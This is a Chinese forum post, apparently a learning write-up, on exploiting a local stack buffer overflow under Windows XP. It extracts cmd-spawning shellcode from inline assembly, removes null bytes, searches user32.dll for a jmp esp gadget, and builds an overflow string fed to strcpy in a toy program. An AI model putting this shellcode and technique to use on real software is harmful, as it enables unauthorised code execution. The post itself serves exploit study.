安全矩阵

 找回密码
 立即注册
搜索
查看: 1665|回复: 0

随笔之提取Shellcode简单利用本地缓冲区溢出

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-5-21 19:29:45 | 显示全部楼层 |阅读模式
本帖最后由 wholesome 于 2020-5-21 19:34 编辑

freebuf媒体原创文章随笔之提取Shellcode简单利用本地缓冲区溢出
0×00 工具

基础汇编知识

Windows xp下的VC++6.0

注意力集中的你

勤劳的双手

0×01 前言

在经过一系列的汇编基础训练之后,决定将此次任务目标上升几个档次,(开始奔向pwn一系列的学习)所以这只是一个开端。

前景回忆与复习,本地缓冲区溢出关键在于我们调用函数后的返回地址可以被我们用任意地址覆盖,那么我们就可以让计算机执行那个地址的代码,而那串代码所在的是我今天精心构造的一个能弹出Dos窗口的shellcode。

那么问题来了,有时候我们的程序执行环境或者平台不同,shellcode的地址就可能会改变,所以怎么准确执行shellcode,换句话说,怎么动态定位shellcode的地址就成了我今天要介绍的主题?

经过一度搜索与提示,我们可以用系统核心dll里的指令jmp esp来完成跳转!据说,这一技巧很灵验和通用。(迫不及待试一试!)

百度百科了一下:Windows的系统核心dll包括kernel32.dll、use***.dll、gdi32.dll。这些dll—直位于内存中,而且对应于固定的版本,Windows加载的位置是固定的。

因此,接下来我们就要找出jmp esp作为跳板从而动态定位shellcode。

0×02 原理

主角:ESP。当函数执行ret指令返回后,EIP指针就会发生跳转,跳转到返回地址,此时ESP就会指向返回地址的下一个位置。

执行ret之前:

执行ret之后:

可以看见函数ret后,ESP总是指向返回地址之后的位置,那么大胆猜想,如果我们在缓冲区溢出漏洞利用的时候,返回地址覆盖为jmp ESP,而shellcode所在位置刚好就是此时ESP所指向的地方,那岂不是妙哉!

0×03 实战

总之,纸上谈兵不好用,还是先来个实践吧!

首先,写出一个弹出Dos窗口C语言程序:

  1. #include "windows.h"
  2. int main(int argc, char* argv[])
  3. {
  4.         HINSTANCE libHandle;
  5.         char *dll="use***.dll";
  6.         libHandle=LoadLibrary(dll);
  7.         WinExec("cmd.exe",5);
  8.         ExitProcess(0);
  9.         return 0;
  10. }
复制代码

进入汇编模式,写出重点汇编代码:

但是我根据自己的理解习惯改写了汇编:

  1. #include "windows.h"
  2. int main(int argc, char* argv[])
  3. {
  4.         HINSTANCE libHandle;
  5.         char *dll="use***.dll";
  6.         libHandle=LoadLibrary(dll);
  7.         //WinExec("cmd.exe",5);
  8.         //ExitProcess(0);
  9.         __asm
  10.         {
  11.                 push ebp
  12.                 mov ebp,esp

  13.                 sub esp,48h
  14.                 xor eax,eax  //eax清0
  15.                 push eax     //“0x00”,用于分割字符串
  16.                 mov eax,0x6578652e   //".exe"的十六进制
  17.                 push eax
  18.                 mov eax,0x646d63   //"cmd"的十六进制
  19.                 push eax
  20.                 mov eax,esp
  21.                 push 5
  22.                 push eax
  23.                 mov eax,0x7C8623AD
  24.                 call eax
  25.                 cmp esi,esp
  26.                 xor ebx,ebx
  27.                 push ebx
  28.                 mov ebx,0x7C81CAFA
  29.                 call ebx

  30.                 mov esp,ebp
  31.                 pop ebp
  32.         }
  33.         return 0;
  34. }
复制代码

调试模式,反汇编提取机器码:

如下:

\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\x**\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D

然后:

可是我们发现其中有个\x00。

这里补充一下,对于shellcode,我们是不能出现这种阶段字符的,因为有些函数(如strcpy)是以\x00作为字符串的结尾,这样shellcode就会执行不成功。

那么问题来了,怎么解决这个\x00呢?

最经典的方法就是对shellcode进行编码。不过,理解此种技术还是需要单独写一篇文章介绍。本篇文章就用了另外一种方法:

我们可以考虑为什么出现这种原因?出现这种原因是压栈时字符串长度不够,就只能用00来填充了,

参考下面:(我记不得这张图片来自哪个参考链接了)

原理就是,将不齐的字符串补齐,用什么补齐呢?这里用的是“?”,为了不影响原本意义,补齐之后还要再用栈操作把“?”替换为“0”

现在就是:

  1. #include "windows.h"
  2. //char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\x**\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  3. int main(int argc, char* argv[])
  4. {
  5.         HINSTANCE libHandle;
  6.         char *dll="use***.dll";
  7.         libHandle=LoadLibrary(dll);
  8.         //WinExec("cmd.exe",5);
  9.         //ExitProcess(0);
  10.         __asm
  11.         {
  12.                 push ebp
  13.                 mov ebp,esp

  14.                 xor eax,eax  //eax清0

  15.                 push 0x3f657865   //"exe?"的十六进制
  16.                 push 0x2e646d63   //"cmd."的十六进制
  17.                 mov [esp+7],eax   //把"?"换成0
  18.                 mov ebx,esp                  //cmd.exe的地址
  19.                 push ebx
  20.                 mov ebx,0x7C8623AD
  21.                 call ebx

  22.                 xor ebx,ebx
  23.                 push ebx
  24.                 mov ebx,0x7C81CAFA
  25.                 call ebx

  26.                 mov esp,ebp
  27.                 pop ebp
  28.         }
  29.         return 0;
  30. }
复制代码

从上面图可以知道,没有出现00,并且可以执行成功!这个时候就可以把shellcode提取出来!接下来,我们再提取机器码:

  1. #include "windows.h"
  2. //char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\x**\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  3. char shellcode[]="\x55\x8B\xEC\x33\xC0\x68\x65\x78\x65\x3F\x68\x63\x6D\x64\x2E\x89\x44\x24\x07\x8B\xDC\x53\xBB\xAD\x23\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  4. int main(int argc, char* argv[])
  5. {
  6.         HINSTANCE libHandle;
  7.         char *dll="use***.dll";
  8.         libHandle=LoadLibrary(dll);
  9.         __asm
  10.         {
  11.                 lea eax,shellcode
  12.                 push eax
  13.                 ret
  14.         }
  15.         return 0;
  16. }
复制代码

可以看到,两个shellcode长度有差距!shellcode还缩小了。(shellcode越短越好)

接下来就是找找jmp esp的位置了,这里又是一个难点与关键点,我在这里卡了好久!!!我不会找,只能百度:

  1. #include "stdafx.h"
  2. #include<windows.h>
  3. #include<iostream.h>
  4. #include<tchar.h>
  5. int main()
  6. {
  7.         int nRetCode=0;
  8.         bool we_load_it=false;
  9.         HINSTANCE h;
  10.         TCHAR dllname[]=_T("use***");      
  11.         h=GetModuleHandle(dllname);
  12.         if(h==NULL)
  13.         {
  14.                 h=LoadLibrary(dllname);
  15.                 if(h==NULL)
  16.                 {               
  17.                         cout<<"ERROR LOADING DLL:"<<dllname<<endl;
  18.                         return 1;
  19.                 }
  20.                 we_load_it=true;
  21.         }
  22.         BYTE* ptr=(BYTE*)h;
  23.         bool done=false;
  24.         for(int y=0;!done;y++)
  25.         {
  26.                 try
  27.                 {
  28.                         if(ptr[y]==0xFF&&ptr[y+1]==0xE4)
  29.                         {
  30.                                 int pos=(int)ptr+y;
  31.                                 cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
  32.                         }
  33.                 }
  34.                 catch(...)
  35.                 {
  36.                         cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
  37.                         done=true;
  38.                 }
  39.         }
  40.         if(we_load_it)
  41.         FreeLibrary(h);
  42.         return nRetCode;
  43. }
复制代码

难道这些都是吗?还是要一个一个试?

  1. #include "stdafx.h"
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <windows.h>
  5. char shellcode[]=
  6. "\x41\x41\x41\x41"  //str[0]~str[3]
  7. "\x41\x41\x41\x41"  //str[4]~str[7]
  8. "\x41\x41\x41\x41"        //覆盖ebp
  9. "\x7c\x3c\xd9\x77"        //esp的地址覆盖eip地址"\x78\x3c\xd9\x77"       
  10. "\x55\x8B\xEC\x33\xC0\x68\x65\x78\x65\x3F\x68\x63\x6D\x64\x2E\x89\x44\x24\x07\x8B\xDC\x53\xBB\xAD\x23\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";  //shellcode
  11. int main()
  12. {
  13.         HINSTANCE libHandle;
  14.         char *dll="use***.dll";
  15.         libHandle=LoadLibrary(dll);
  16.         char str[8];
  17.         strcpy(str,shellcode);
  18.         for(int i=0; i<8 && str[i]; i++)
  19.         {
  20.                 printf("\\0x%x", str[i]);
  21.         }
  22.         return 0;
  23. }
复制代码

至此,我们就实现了本地缓冲区简单溢出。

(如若文章有错误)

参考链接:https://blog.csdn.net/qq_41683305/article/details/104303554
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2023-3-21 08:43 , Processed in 0.013522 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表